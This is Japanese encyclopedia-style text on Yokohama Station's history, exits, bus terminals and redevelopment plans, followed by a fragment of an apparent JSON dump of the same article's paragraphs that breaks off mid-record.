各年度の1日平均乗降人員は下表の通りである(JRを除く)。
各年度の1日平均乗車人員は下表の通りである。
横浜駅周辺地区は、関内駅周辺とともに横浜市における都心(ツインコア)の一つである横浜都心に指定されている。
前述のように、江戸時代までの横浜駅周辺は袖ケ浦と呼ばれる入り江であった。1869年頃に高島嘉右衛門によって神奈川駅 - 横浜駅 - 桜木町駅の線路・国道1号線の部分が堤防状に埋め立てられ、1872年に新橋 - 横浜を結ぶ日本初の鉄道路線が開通した。そして1928年には横浜駅が現在の場所に移転され、道路に面した東口に駅舎が建設された。
駅周辺は百貨店などの商業ビルが林立し、横浜最大の繁華街となっている。西口には髙島屋横浜店(相鉄ジョイナス)東口にはそごう横浜店が位置し、それぞれ西口と東口の顔になっている。西口・東口とも巨大な地下街を有し、周辺のビルと直結している。駅周辺は特定都市再生緊急整備地域に指定されており、段階的に大規模な再開発を行う計画となっている。
所在地は、駅周辺が南幸一丁目、新田間川以南が南幸二丁目、新田間川以北が北幸一・二丁目。南幸は繁華街、北幸は西口駅前バスターミナルに面した場所以外はオフィス街という棲み分けがなされている。横浜高島屋(相鉄ジョイナス)やヨドバシ横浜といった大型商業施設の他にも飲食店が多数集積しており、飲食店街は他の首都圏の繁華街と同様に雑多な雰囲気をもつ。
2007年4月供用開始。裏通りの飲み屋街に面する。周辺では鶴屋橋の架替工事 やきた西口鶴屋地区の再開発(詳細は後節)などが進行中で、現在は同出口部分も暫定的な外観となっている。
飲み屋街「たぬき小路」は、横浜駅西口の区画整理の際に鶴屋橋付近に立ち並んでいた不法占拠のバラック建ての飲み屋を集約・移転させたものである。
かつては「相鉄口」と呼ばれていたが、みなみ通路の供用開始に伴い「みなみ西口」に改称された。相鉄ジョイナスの南側に位置し、相模鉄道の1階改札口に隣接する。
パルナード通り(横浜市道183号線)沿いには量販店が多いため、人通りが多く賑わっている。横浜市営地下鉄とは、出口内の階段(出口4)の他に、出口外にある階段(出口5)でも接続している。
「横浜駅西口五番街」は、1961年5月に開業した西口屈指の歓楽街である。名称の由来については「南幸一丁目5番地」に位置することと、「ニューヨークの5番街」をイメージして付けられた。かつてはグランドキャバレーやバーがひしめき合う盛り場であったが、現在はカラオケ店や居酒屋、パチンコ店などに大きく様変わりしている。
所在は、高島二丁目12番から19番(旧:高島通2丁目)。3代目横浜駅として現在地に移転した際に、幹線道路沿いであった当地に駅舎が建てられた。かつては「横浜駅表口」とも呼ばれていた。
横浜新都市ビル2階部分から日産自動車グローバル本社(みなとみらい地区方面)とを結ぶペデストリアンデッキ「はまみらいウォーク」が設置されている。なお、新都市ビル(そごう)やスカイビルがある一角(出島地区)はみなとみらい地区の68街区に該当する。
2006年2月供用開始。屋根がガラス張りになっており、開放感のある空間として作られている。きた通路が地下1階にあるため、階段とエスカレーターが設置されている。2009年12月にベイクォーター・ポートサイド方面へのデッキ「ベイクォーターウォーク」が竣工した。
みなみ通路から接続する仮設通路(みなみ東口通路)の出口にあたり、現在は横浜中央郵便局とJR東日本横浜支社の間(中央通路の東口に隣接)に暫定的に設置されている。今後は東口周辺の再開発計画に合わせ、みなみ東口通路と出口の再整備を行う方針である。
明治時代から大正時代にかけて新田開発のため、茂木六兵衛らにより陸地と線路の間の海面が埋め立てられ、現在の西区北幸・南幸(旧:青木町字北幸町・字南幸町)が誕生した。この地域が現在の横浜駅西口一帯である。
1908年(明治41年)にこの土地の一部をスタンダード・オイル(現:エクソンモービル)が取得し、油槽所として使用していた。しかし1923年(大正12年)の関東大震災でタンクから漏れ出した約700万ガロンの石油・重油が新田間川に流れ出し、横浜電線から出火した火が燃え移り、十数日にわたって一帯が燃え続けた。その後、周辺住民の反対運動により油槽所は鶴見区安善町に移転したため空き地となり、西口は材木・石炭・砂利などの資材置場として使用され、追いはぎが出るとまで言われる荒れ地となっていた。
鉄道省は横浜駅を現在の場所に移転するため、1927年(昭和2年)5月に横浜駅の新駅舎建設に着工。翌1928年(昭和3年)10月15日、3代目横浜駅舎が開設された。2代目横浜駅が関東大震災で大きな被害を受けたことや、当地は埋立地で軟弱地盤であることから、地盤改良のために長さ18m、元口直径35∼40cmのベイマツが、75cm間隔で2226本打ち込まれた。
東口では省線の駅移転に続き、横浜市電(旧横浜電気鉄道)の横浜駅前停留所が国道1号線上に設置され、1930年(昭和5年)には京浜電気鉄道(現 京浜急行電鉄)の駅が開設された。また西口では、1933年(昭和8年)12月に神中鉄道(現在の相模鉄道、相鉄本線に該当)が横浜駅まで延伸して駅を設置した。
これにより横浜駅は、省線と横浜市電に加え、京浜電気鉄道・神中鉄道・東京横浜電鉄(現在の東急東横線)の私鉄3社が接続するターミナル駅となった。しかし当時の横浜市街の中心は、初代横浜駅があった桜木町や、その隣駅で横浜港に近い関内周辺であったことから、駅舎がある東口周辺には依然として空き地が広がっていた。
太平洋戦争中は、西口の土地は接収されて大日本帝国海軍の資材置き場になった。1945年(昭和20年)の横浜大空襲では、駅ホームの上屋・小荷物扱い所・構内線路が全焼したものの、東口は駅舎の内装が全焼した程度で大きな被害はまぬがれた。しかし西口には工場があったため焼夷弾が落とされ、西口一帯が全焼した。
明治・大正期にスタンダード・オイルが油槽所として使用していた西口の土地は、戦時中の1943年(昭和18年)に相模鉄道が砂利輸送・厚木海軍航空隊へのガソリン輸送のための資材置き場として145,000円で購入していた。その土地は戦後に終戦処理事務所が相模鉄道から買い戻し、横浜駅に置かれた連合国軍最高司令官総司令部 (GHQ) 鉄道輸送事務所の資材置き場として使用されていたが、1951年(昭和26年)にスタンダード・ヴァキューム・オイル・カムパニー(旧スタンダード・オイル)に返還された。
相模鉄道はこの土地を再度買い取ることを希望し、スタンダード・ヴァキューム・オイル・カムパニーからは相模鉄道が同社の代理店となること、横浜市からは西口の整備事業に協力することを条件として売却が許可され、1952年(昭和27年)11月に相模鉄道が、スタンダード・ヴァキューム・オイル・カムパニーから西口の土地(24,688m)を取得。これにより、横浜駅西口の開発が始まることとなった。
西口では資材置き場として使わていた広い土地が接収解除され、相模鉄道が用地買収したことを契機に、1950年代から相鉄主導による積極的な開発が開始された。実際の開発は相鉄グループの相鉄不動産(初代、1962年9月1日付で相模鉄道へ吸収合併)が担当した。こうして戦後の横浜駅周辺の開発は、元々の駅表口であった東口に先駆け、相模鉄道の主導による西口開発が先行することとなる。
神奈川国体開催を控えた1954年(昭和29年)には横浜市により西口広場・道路の整備が完了し、翌1955年(昭和30年)10月には横浜駅西口(北幸一丁目・南幸一丁目)の区画整理事業が完了した。
相鉄は1955年(昭和30年)5月に横浜駅西口の開発計画を決定、同年8月22日に横浜駅名品街の建設工事を着工。翌9月よりテナント誘致を開始し、同年12月に高島屋と契約を締結した。翌1956年(昭和31年)4月2日、アーケード商店街の横浜駅名品街(第1次区画)・高島屋ストア(のちの横浜高島屋)を開業。1957年には相鉄文化会館、1959年には相鉄会館(のち横浜高島屋の増床部分)を開業した。
1960年代に入っても相鉄による西口開発は続き、1961年(昭和36年)12月には相鉄ビル(相模鉄道旧本社ビル、現在は横浜ベイシェラトン ホテル&タワーズ)が完成した。また翌1962年11月23日には、相模鉄道・鉄道弘済会・崎陽軒・東京急行電鉄の4社共同出資により、国鉄横浜駅西口駅舎「横浜ステーションビル」(のちの横浜シァル)が開業。さらに1964年(昭和39年)12月1日にはダイヤモンド地下街・横浜駅西口地下駐車場が開業した。相鉄による開発ではないが1961年5月には西口屈指の歓楽街となる五番街が、1962年2月28日には横浜東急ホテルが、1968年11月3日横浜岡田屋が開業した。
一方、戦後の東口は出島地区(現在、横浜新都市ビルや横浜スカイビルがある場所。横浜駅東口総合開発計画における名称で、かつて出島があったことに由来する)に、神奈川県匡済会の独身者向けアパート 横浜新興倶楽部(1932年に労働者向け宿泊所の横浜社会館を改装)、東神倉庫(1946年竣工、のちの菱光倉庫)、横浜市警察本部(1949年 - 1955年6月)、横浜市交通局のバスプール(のちの横浜市営バス西営業所)、簡易屋台や学校暖房用の貯炭場などがある程度であった。東口駅前に1955年(昭和30年)9月、展望台とネオンサインを設けた崎陽軒「シウマイショップ」(現在の崎陽軒本店の場所にあった) ができるまでは、依然として寂しい場所であった。1950年代から相模鉄道の主導により西口の開発が進み、1960年代にはかつて横浜の商業の中心であった伊勢佐木町を脅かすほどの一大繁華街として発展したため、東口は横浜駅の表玄関でありながら見劣りするようになっていた。
1965年には横浜市により戦後復興のための「横浜市総合開発計画」が発表され、その中に横浜駅東口の開発も盛り込まれた。ただし当時の横浜市はGHQによる接収が解除された関内・伊勢佐木町・本牧など横浜中心部の復興に注力しており、また財政難もあいまって市が単独で事業を進めることは困難であった。さらに東口には権利関係が複雑な土地や公有地も多いことも問題を複雑化させていた。
そこで民間企業の共同出資により、横浜駅前振興株式会社(現:株式会社横浜スカイビル)を設立し、駅東口の出島地区および東口地下街の開発を開始することとした。1967年(昭和42年)7月には、横浜市営バス西営業所跡地に温水プール「スカイプール」を建設、翌1968年(昭和43年)3月には最上階に回転展望台とレストランを設けた11階建ての初代横浜スカイビルの開業にこぎつけたものの、業績は伸び悩んだ。当初は横浜市警察本部跡地と、横浜市営バス西営業所跡地の土地を借り受けてビルを建設する予定であったが払い下げに変更されたり、横浜市会の権力争いに巻き込まれたため払い下げ価格が予想以上に嵩んで支払い遅延が発生したり、市長が革新派の飛鳥田一雄に交代したことにより再三にわたる設計見直し要求が行われるなどの影響もあり、出島地区の北側・東口地下街の開発は困難となった。
一方、西口は繁華街として急成長したことから、相模鉄道は1967年10月30日に新相鉄ビル(相鉄ジョイナス)の建設を中心とした「横浜駅西口再開発計画」を発表した。これは横浜駅名品街・相鉄文化会館を取り壊し、相鉄会館(高島屋)と相模鉄道の駅舎を取り込んだ駅ビル「新相鉄ビル」を作るという計画であった。こうして1970年代には相鉄による西口再開発事業が進むこととなる。
相鉄は「横浜駅西口再開発計画」に基づき、1971年(昭和46年)には相鉄ムービル(初代)と、新相鉄ビルの一部(高島屋が入居する相鉄会館・相模鉄道横浜駅部分)を完成。1973年(昭和48年)10月には新相鉄ビル第1期工事の大部分が完了し、11月20日に「相鉄ジョイナス」が開業した。1976年には増築を伴う相鉄ジョイナス第2期工事も完了し、現在の相鉄ジョイナスが完成した。 また1973年2月19日には横浜天理教館(天理ビル)が、1978年10月にはニチイ横浜ショッピングデパート(現:横浜ビブレ)が開業。
東口においては、横浜市全員協議会が1971年(昭和46年)6月に「横浜駅東口総合計画」を策定し、横浜市の主導により東口の開発を行うこととした。国道下の利用は公共企業体に限るという建設省の方針により、10月には第三セクターの財団法人横浜駅東口開発公社(資本金1億円)を設立し、公社が東口駅前広場と周辺道路、横浜ポルタと横浜駅東口地下駐車場、出島地区、横浜駅東口バスターミナルの建設・運営を行うことになった。
1973年12月に着工したものの、財団法人という制約から資本金1億円では資金が不足し、また第三セクターという形態による出資者の当事者意識の不足、首都高速神奈川1号横羽線の建設決定による設計変更、第1次オイルショックの狂乱物価による建設費の高騰などの影響で総事業費が膨らみ、出島地区の開発が難しくなってしまった。また市長が元横浜駅東口開発公社理事長の細郷道一に変わったこともあり、1978年(昭和53年)8月25日の横浜市全員協議会により「横浜駅東口総合計画」が変更され、出島地区の開発は民間に委ねられることとなった。
1980年(昭和55年)11月7日には、東口地下街横浜ポルタ・横浜駅東口地下駐車場が開業した。同時に横浜市の事業で、横浜駅東口と西口をつなぐ東西自由通路(現:中央通路) を開設。4代目駅舎 の横浜ターミナルビル(キーテナントはルミネ横浜店)も同時に開業した。
出島地区の開発を行うための組織として、1980年(昭和55年)12月20日に第三セクターの横浜新都市センター株式会社(資本金30億円)が設立され、同社が横浜新都心ビル・横浜駅東口バスターミナルの建設・運営を行うことになった。また翌1981年(昭和56年)7月には横浜市が「横浜市臨海部総合整備計画(みなとみらい21計画)」を発表し、出島地区が「みなとみらい21 横浜駅東口地区(68街区)」として組み込まれることになった。
横浜新興倶楽部の立ち退き交渉が難航し裁判に発展したが和解し、横浜スカイビルが所有していたスカイプール の土地売却交渉も難航したが、横浜スカイビルが横浜新都市ビルの建設・運営に参加することを条件に、横浜スカイビルから土地を借りることで和解した。
1983年(昭和58年)10月8日には横浜新都市ビルの起工式が行われ、翌11月にはみなとみらい21の起工式も開催された。そして1985年(昭和60年)9月26日にビルが竣工し、同年9月30日には横浜新都市ビルと核テナントの横浜そごうが開業した。
財団法人横浜駅東口開発公社は、横浜新都市センター株式会社に事業を譲渡し、1988年(昭和63年)3月31日に解散。同年7月には横浜市からヨコハマポートサイド地区(横浜ベイクォーターなどがある地区)の都市計画(第二種市街地再開発事業)が発表され、開発が始まった。
翌1989年(平成元年)3月からは、みなとみらい21地区で横浜博覧会 (YES'89) が開催され、会期中は横浜新都市ビル2階のペデストリアンデッキ「風の広場」から、コスモワールド子供共和国の北側(現在の39街区と40街区、現「M.M.TOWERS」と「M.M. TOWERS FORESIS」)にあったゴンドラゲートまでの768mを繋ぐゴンドラリフトが設置され、株式会社横浜博スカイウェイにより運行されていた。
1996年9月には、東口に2代目スカイビルが開業し、核テナントとして丸井(マルイシティ横浜)が入居。スカイビル1階には横浜シティ・エア・ターミナル(YCAT)が開業した。また崎陽軒本店ビルも竣工した。
みなとみらい21地区では2000年代以降も、東口地区と人道橋(ペデストリアンデッキ)のはまみらいウォークで接続する日産自動車グローバル本社(2009年4月)が竣工。ポートサイド地区では、歩道橋の栄町グリーンウォーク(2001年竣工)・ベイクォーターウォーク(横浜駅ポートサイド人道橋、2009年12月供用開始)や、ヨコハマポートサイドビル(1994年竣工)・そごうパーキング館(2005年11月30日竣工)・横浜ベイクォーター(2006年8月24日開業)・横浜イーストスクエアビル(2008年3月)・横浜ダイヤビルディング(2009年12月竣工)などが建設され、横浜駅東口周辺の再開発は継続している。
西口の駅ビルであった横浜ステーションビルに入居していた「横浜CIAL(旧称:シァル)」は、西口再開発計画により2011年(平成23年)3月27日をもって全館閉店した。閉館後、同じく再開発事業地に所在し「横浜CIAL」に隣接していた横浜エクセルホテル東急は2012年(平成24年)、横浜ステーションビル(横浜CIAL)は2013年(平成25年)に解体された。
横浜エクセルホテル東急跡地では、開発が本格化するまでの空きスペースを利用して、2013年から期間限定の屋台村・仮設飲食店などが営業されていた。CIAL跡地でも商業施設の着工が遅れていたため2014年2月から2015年5月まで、空きスペースを利用して商業・飲食店舗などが入る「西口ルミネ」を期間限定でオープンしていた。
横浜市による横浜駅周辺再開発事業「エキサイトよこはま22」の中心的プロジェクトとして、これらの跡地を一体的に再開発して新たな横浜駅西口駅ビル「JR横浜タワー」を建設し、2020年(令和2年)6月18日に開業。核テナントの一つとして「CIAL横浜」が入居し、横浜駅西口駅ビルに「CIAL」の名称が復活した。
JR横浜タワーの竣工により、相鉄ビル(横浜ベイシェラトン ホテル&タワーズ)を抜いて、西口で最も高いビルとなった。なお相鉄ビル竣工以前は、天理教の関連企業東京天理教館が所有するオフィスビル「横浜天理教館」(天理ビル)が長らく西口で最も高いビルであった。
西口・東口それぞれにバスターミナルが設けられ、付近の一大ターミナルとなっている。一般の路線バスのほか、深夜バスや高速バスも多数発着する。
東口の高速バスの乗り場は、横浜新都市ビル(そごう横浜店)1階の横浜駅東口バスターミナル、隣接するスカイビル1階の横浜シティ・エア・ターミナル(YCAT)、さらにスカイビルの外周道路にあるバス停「横浜駅東口スカイビル(YCAT)前」の3箇所に分散しているため、高速バス利用者は混同しないよう注意を要する。
かつては横浜駅きた西口鶴屋地区に相鉄高速バスセンターもあったが、相模鉄道の高速バス路線撤退に伴い2008年9月に廃止されている。
西口は「横浜駅西口」バス停があり、横浜市営バス、神奈川中央交通(一部は神奈川中央交通東)、相鉄バスの3社局の路線バスが乗り入れている。バスのりばは3つに分散しており、西口駅舎前の地下街(旧称:ザ・ダイヤモンド)上に第1バスのりば(のりば番号:1から10番台)、横浜ベイシェラトン ホテル&タワーズの西側に第2バスのりば(のりば番号は20番台)、ヨドバシカメラ向かいの天理ビル前に第3バスのりば(のりば番号は30番台)がある。
第1バスのりばは地下街からの階段、エレベーターとしか繋がっておらず、利用する際は地下街から入る。
第3バスのりばは、第2バスのりばが2017年7月24日から貸し切りバス専用乗降場に変更されたため、その代替として同日より運用を開始した。
西口の駅舎前にある。
横浜ベイシェラトン ホテル&タワーズの西側にある。
ヨドバシカメラと横浜ベイシェラトン ホテル&タワーズの間の、天理ビル前にある。
横浜駅東口(現 横浜駅東口駅前広場)から、1974年12月8日にスカイプールの前(現在の東口バスターミナルの国道1号側)に移転。1981年11月に、現在地である横浜新都市ビル1階の横浜駅東口第二広場に移転。横浜新都市ビル(そごう)1階に横浜駅前(横浜駅・横浜駅東口)ターミナルがあり、主に沿岸部へ向かう路線が発着する。A島の南隣(横浜スカイビル1階)には、空港リムジンバス・高速バス専用のYCATのりばが設置されている。定期観光バス「ベイサイドライン」はこのターミナルを発着していた。
のりば入口は、地下1階および2階からA〜Cそれぞれの島につながる階段がある他、1階からはそごうの南エレベータとA島、店内からC島に入れる。地上の一般歩道から直接入るのは不可。ターミナル内で平面移動できる通路も設置されていない。
東口地下街ポルタ入口そばにある。
西口・東口およびYCATから各地への高速バスが発着する。
スカイビル1階に所在する。
横浜新都市ビル(そごう横浜店)1階に所在する。
スカイビルの外周道路に所在する(北緯35度27分50.8秒 東経139度37分29.8秒 / 北緯35.464111度 東経139.624944度 / 35.464111; 139.624944 (横浜駅東口スカイビル(YCAT)前 バス停留所))。待機場所が狭いため、YCATの真上(スカイビル2階の屋外)が集合場所に指定されていることが多いので、注意が必要。
西口バスターミナル(横浜駅西口駅前広場)の、高島屋側に設置されている。
正式名称は横浜駅東口駅前第2交通広場。横浜駅きた東口から横浜新都市ビルの間、国道1号線の地下にあるタクシー乗り場。 横浜市が設置・管理する交通広場であり、横浜新都市ビルの施設ではない。乗降場所は横浜ポルタ側にある。
横浜駅周辺において、国際化や都市間競争への対応・環境問題・駅としての魅力向上・災害時の安全性確保などの課題を解消し、「国際都市の玄関口としてふさわしいまちづくり」を進めるための指針となる計画で、大規模ターミナル駅周辺の再生モデルとして、行政と民間が共有・協働して実現していくことを基本としている。開発プロジェクト名については2009年に一般公募され、2380件の名称案の中から「エキサイトよこはま22」に決まった。計画対象エリアの「横浜駅周辺地区」は、都心部の機能強化を目的として2014年度に策定された「横浜市都心臨海部再生マスタープラン」においてその対象となる都心臨海部五地区のうちの一つとなっている。
横浜駅周辺では西口(幸栄)地区、西口五番街地区、きた西口鶴屋地区、東口地区などが、「横浜都心・臨海地域」として特定都市再生緊急整備地域に指定されており、今後再開発を行う計画となっている。これらの地域において老朽化した建物を解体し、高層ビルなどによる横浜駅や駅周辺の一体再開発を目指す。当プロジェクトでは新たな枠組みとして再開発地区を5つのエリアに分けており、横浜駅を中心に西口周辺(五番街含む)および東口周辺の地区を合わせて「センターゾーン」とし、その周囲にある4つのエリアをそれぞれ「南幸地区」、「北幸地区」、「鶴屋町地区」、「平沼地区」としている。
建物の建て替えのみならず、現在は地下で結ばれている東口と西口方面を駅ホーム上空の2階部分で直線に結び(新たなペデストリアンデッキの整備)、駅前広場や待ち合わせ場所(ターミナルコア)の整備、中央通路と西口地下街(旧称:ザ・ダイヤモンド)の地下階層による接続(横浜駅西口改札跡地 にある、通称"馬の背"の解消)、駅周辺の遊歩道整備(東横線廃線跡〈横浜駅〜桜木町駅間〉の遊歩道整備を含む)、東口地区とみなとみらい地区の更なる接続強化(東口地区開発「ステーションオアシス」からのデッキレベルでの接続計画や出島地区における再開発を含む)、首都高速道路の壁面緑化、河川の有効活用や河川沿岸の整備(河川は治水対策をし、水上バスの運行やボードデッキを整備する)などを行い歩行者空間や交通の充実を図るというもので、横浜港開港150周年である2009年に計画がとりまとめられた。開発の期間を二期に分け、全体の完成は計画策定から20年後を目処にしている。
2010年1月に、「エキサイトよこはま22」の横浜市案による20年後の横浜駅周辺を表したイメージ映像が横浜市都市整備局のサイトなどで公開された。この映像は今後の計画検討の際などに利用される予定である。
横浜中央郵便局などがあるみなみ東口の一帯は、「ステーションオアシス地区」として再開発(横浜駅東口地区開発〈仮称〉、地下より地上部・デッキレベルまで移動できるターミナルコアの整備も含む)が計画されている。事業主体は日本郵政、JR東日本、京浜急行電鉄、横浜市の4者で、1996年に横浜駅東口地区開発(ステーションオアシス)推進協議会を設立している。また、この再開発に関連して高島二丁目地区方面ともデッキレベルでの接続が計画されている。なお、東口周辺の再開発が本格化するまでの暫定施設として、横浜中央郵便局別館(2015年3月まで集配業務を行っていた)の建物をリノベーション活用した、アカツキライブエンターテインメントによる複合型体験エンターテインメント施設「アソビル」が2019年3月に開業している。
一方、前述のようにみなとみらい地区との接続を強化するため、東口の帷子川沿岸部(出島地区)からみなとみらい大橋に接続する道路「栄本町線支線1号」の整備およびその周辺部に位置する「出島地区」(横浜駅東口臨海地区)における再開発も検討されている(「栄本町線#整備計画」も参照)。
当地区(きた西口周辺)では、前述の「横浜駅西口駅ビル計画」における鶴屋町棟の計画の他にも、鶴屋橋の架替事業(2010年度〜2017年度実施予定) や以下の再開発が計画されている。
この他に、横浜市営地下鉄のハマリンロード(地下1階通路)の階段や、みなとみらい線の改札内にもパブリックアートがある。 | [
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"text": "横浜駅(よこはまえき)は、神奈川県横浜市西区にある、東日本旅客鉄道(JR東日本)・東急電鉄・横浜高速鉄道・京浜急行電鉄(京急)・相模鉄道(相鉄)・横浜市交通局(横浜市営地下鉄)の駅。",
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"text": "JR東日本と京急電鉄の駅は東口側の西区高島二丁目に、東急電鉄・横浜高速鉄道・相模鉄道・横浜市営地下鉄の駅は西口側の西区南幸一丁目にある。",
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"text": "横浜市の中心駅で、JR・私鉄・地下鉄の各線が集まる日本有数のターミナル駅である。合計6社局が乗り入れており、1駅に乗り入れる鉄道事業者数が日本最多である。1日平均の乗降客数は約230万人(2019年度)で、年間乗降客数は約8億4100万人となる。この数字は新宿駅、渋谷駅、池袋駅、大阪・梅田駅に次いで世界第5位である。",
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"text": "現在の横浜駅は三代目である。初代は1872年に新橋 - 横浜間で日本初の鉄道(現在の東海道本線)として開業し、二代目横浜駅の開業に伴い桜木町駅に改称された。二代目は国道1号高島町交差点付近にあったが、関東大震災で被災したため廃止された。現在も戸部警察署高島交番そばのマンション敷地内に駅舎基礎部分の遺構が残されており、横浜市認定歴史的建造物となっている。",
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"text": "当駅周辺は巨大な百貨店やファッションビル、専門店街などの商業施設、飲食店などが集積しており、首都圏有数規模の繁華街が広がっている。横浜港開港以来の中心市街地である中区の関内・関外(伊勢佐木町周辺)地区をも超える地区になっており、このことから関内・関外地区とともに横浜市のツインコアとして横浜都心に指定されている。",
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"text": "当駅は構内や駅周辺で次々と大きな工事が行われて、実質1915年の開業以来未だにすべての工事計画が完全に終了していないと言われており、「日本のサグラダ・ファミリア」と揶揄されている。現在は駅ビルおよび駅周辺の大規模再開発事業が2011年から進行している。詳細は「#エキサイトよこはま22(横浜駅周辺大改造計画)」を参照。",
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"text": "2008年4月から、当駅に乗り入れる4社と横浜市や市民団体が俯瞰図・構内図・広域図・断面図に点字を施した「横浜駅さわる地図バリアフリーマップ」を配布している。点字のないPR版もある。",
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"text": "JR横浜駅の事務管コードは▲460114である。",
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"text": "以下の6社局が乗り入れている。各社局の駅に駅番号が付されており、あわせて記す。",
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"text": "上記のうち、JR根岸線・相鉄本線・横浜高速鉄道みなとみらい線は当駅を起点とし、逆に東急東横線は当駅を終点としているが、東急東横線と横浜高速鉄道みなとみらい線は直通運転を行っており、2社が同じ施設に発着している(駅は東急側の管理)。また、東急・横浜高速鉄道は東京メトロ副都心線を介して東武鉄道・西武鉄道との5社による相互直通運転を実施している。さらに2023年3月18日より、東急新横浜線と相鉄新横浜線が相互直通運転を開始した関係で、相鉄側の横浜駅に発着する東急の車両による運用も一部で設定され、東急の車両は2ヶ所の横浜駅に入線することとなった。他にも、京急は都営地下鉄浅草線を介して京成電鉄、北総鉄道(一部時間帯のみ)へ直通運転を実施しており、都営地下鉄浅草線の車両や、平日に限り京成の車両もごく少数のみ京急側の横浜駅に入線している。",
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"text": "JR東日本の駅に乗り入れている路線は、線路名称上は、当駅の所属線である東海道本線および当駅を起点に根岸駅を経て大船駅とを結ぶ根岸線の2路線であるが、一般列車の運転系統は以下のように多岐にわたっている(詳細は路線記事および「鉄道路線の名称」参照)。当駅は「YHM」のスリーレターコードが付与されている。",
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"text": "東海道本線の線路は、当駅以西の大船駅方面が東海道線用列車線と横須賀線用線路(旧貨物線)との複々線、当駅以東の東京都心方面はこれらに加えて根岸線に直通している電車線(京浜東北線)を加えた3複線となっており、京浜東北線と横浜線が電車線、東海道線が列車線、横須賀線と湘南新宿ラインが横須賀線用線路を使用する。電車線(京浜東北線)と東海道線列車線は川崎駅経由の本線、横須賀線用線路は武蔵小杉駅経由の支線(品鶴線)を経由する。",
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"text": "JRの主な優等列車としては、東海道本線経由で伊東線・伊豆急行線などに直通する特急「踊り子」「サフィール踊り子」(基本的に東京駅発着であるが、前者は1往復が新宿駅方面から湘南新宿ラインと同じルートで運転される)、横須賀線のルートから総武本線・成田線を通じて成田空港へ向かう特急「成田エクスプレス」、さらに夜行列車として東海道本線経由で山陰・四国方面へ向かう寝台特急「サンライズ瀬戸」「サンライズ出雲」などがあり、基本的に全ての列車が停車する。しかし、東京都心 - 湘南地区間の通勤客を遠近分離する観点から、朝夕ラッシュ時に運行される通勤特急「湘南」(一部は東海道貨物線経由で運転されるため当駅を経由しない)は通過する。",
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"text": "JRの特定都区市内制度における「横浜市内」の駅であり、運賃計算の中心駅となる。",
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"text": "現在の横浜駅付近は幕末まで海であり、明治維新直後に高島嘉右衛門らが埋め立て事業を行い、鉄道が敷設された。海はその後も現在の西口近くに「平沼」として残った。",
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"text": "ホームは多くが南北方向に伸びており、地上は東寄り(東京湾側)から京急線とJR線のホームが並ぶ。相鉄線と横浜市営地下鉄線はこれらの路線の南西側(みなみ西口付近)にホームがあり、相鉄線はJR線の脇、地上2階に南方向へホームが伸び、横浜市営地下鉄は南寄り地下3階(改札は地下2階)に概ね東西方向へホームが伸びる。かつては東急線もJR線脇の地上2階部分に並行して高架ホームがあったが、みなとみらい線との相互直通運転開始を機に地下5階(改札は地下3階)へ移転した。",
"title": "駅構造"
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"text": "地下1階部分では、自由連絡通路「きた通路」「中央通路」「みなみ通路」が東西に貫き、「きた東口(A・B・C)」「きた西口」「中央東口」「中央西口」「みなみ東口」「みなみ西口」の6か所の出口がある。地下2階部分の東急線・みなとみらい線ホーム上に南北自由通路があり、これらの通路を結んでいる。",
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"text": "島式ホーム4面8線を有する地上駅で、のりばの番号は京急からの通し番号になっている。京浜東北・根岸線と横須賀線・湘南新宿ラインのホームはそれぞれ1面2線、東海道線は2面4線を使用する。ホームの有効長は京浜東北・根岸線が10両分、他は15両分である。線路は多くが主本線だが、東海道線の5・8番線のみ副本線(待避線)となっている。",
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"text": "東海道線の待避線では優等列車の待避が行われるほか、平日朝ラッシュ時は上り普通列車が7・8番線を交互に発着している。2004年10月16日に湘南新宿ラインが増発される以前は夕刻ラッシュ時に当駅始発の下り列車が設定されており、上りホームの7番線から発車していた。2021年3月13日より5番線を使用する営業列車は日中時間帯および夕ラッシュ以降(平日のみ)に平日16本・土休日7本、8番線を使用する営業列車は平日が朝ラッシュ時の交互発着および14時52分発普通宇都宮行き(1880E)の合計17本、土休日は先述の1580Eの1本となっている。",
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"text": "改札は、中央通路に面して2か所(中央北改札・中央南改札)ときた・みなみ両通路に面してそれぞれ1か所(北改札・南改札)の計4か所があり、改札ごとに階段などが分かれている。中央北改札付近に京急との連絡改札が設置されている。2004年1月30日までは北側の跨線橋上に京急と、中央北改札内に東急との連絡改札があった。東急との連絡改札は最後まで有人改札だったため、Suica導入後は簡易改札機が設置された。南改札は当初、京浜東北・根岸線と東海道下り線の間付近に設置されていたが、2009年12月20日から東海道上り線と横須賀線の間付近に移設された。みどりの窓口は中央通路に設置されている。かつてはみなみ通路にみどりの窓口が設置されていたが南改札の移設時に閉鎖され、代わりに指定券券売機が2台設置された。当駅はインターネット予約の受取りはえきねっとのみ可能。2020年8月10日には、中央南改札と南改札を結ぶ改札内通路および待合広場「SOUTH COURT」が供用開始された。また、翌2021年3月22日より、「SOUTH COURT」内にて駅ピアノが設置された。",
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"text": "直営駅であり管理駅として保土ケ谷駅を管理している。",
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},
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"paragraph_id": 22,
"tag": "p",
"text": "エレベーターはホームと中央北改札コンコースを結ぶものが各1台、エスカレーターは中央北改札と7・8番線(上り)および9・10番線(両方向)、きた通路北改札と各ホーム(片方向)、中央南改札と3・4番線(下り)および5 - 10番線(上り)がある。中央南改札と9・10番線を結ぶエスカレーター(上り)は、横須賀線ホーム拡幅(後述)後、2010年12月23日に新設されたものである。中央北改札と9・10番線を結ぶエスカレーター(両方向)は従来の階段をつぶして設置されたため、階段がなくエスカレーターのみとなっていたが、こちらも横須賀線ホーム拡幅(後述)後、エスカレーターの西側に階段が新設された。2020年8月10日には、中央南改札および北改札コンコースと各ホームを結ぶエレベーターが供用開始された。",
"title": "駅構造"
},
{
"paragraph_id": 23,
"tag": "p",
"text": "横浜線の電車が日中1時間に6本(快速3本・各駅停車3本)が当駅3・4番線を経由して隣の桜木町駅まで乗り入れているが、朝時間帯は横浜線全体の1/3程度の列車が直通、夜間帯は毎時1-3本程度が直通する桜木町/磯子/大船(大船行きは朝のみ)発着列車を除いて東神奈川駅始発・終着となっており、京浜東北線に乗車して同駅での乗り換えが必要となるケースもある。横浜線直通電車(橋本・八王子行)の場合、案内看板が点灯するほか、駅員の肉声放送も流れるようにしている。かつては土曜休日(一部を除く)に横浜線と中央本線を経由して当駅始発・終着で松本駅を結ぶ臨時特急「はまかいじ」号が運転されていたが、ホームドア設置に伴い2019年1月をもって廃止(運行休止)された。そのホームドアは同年11月に稼働した。",
"title": "駅構造"
},
{
"paragraph_id": 24,
"tag": "p",
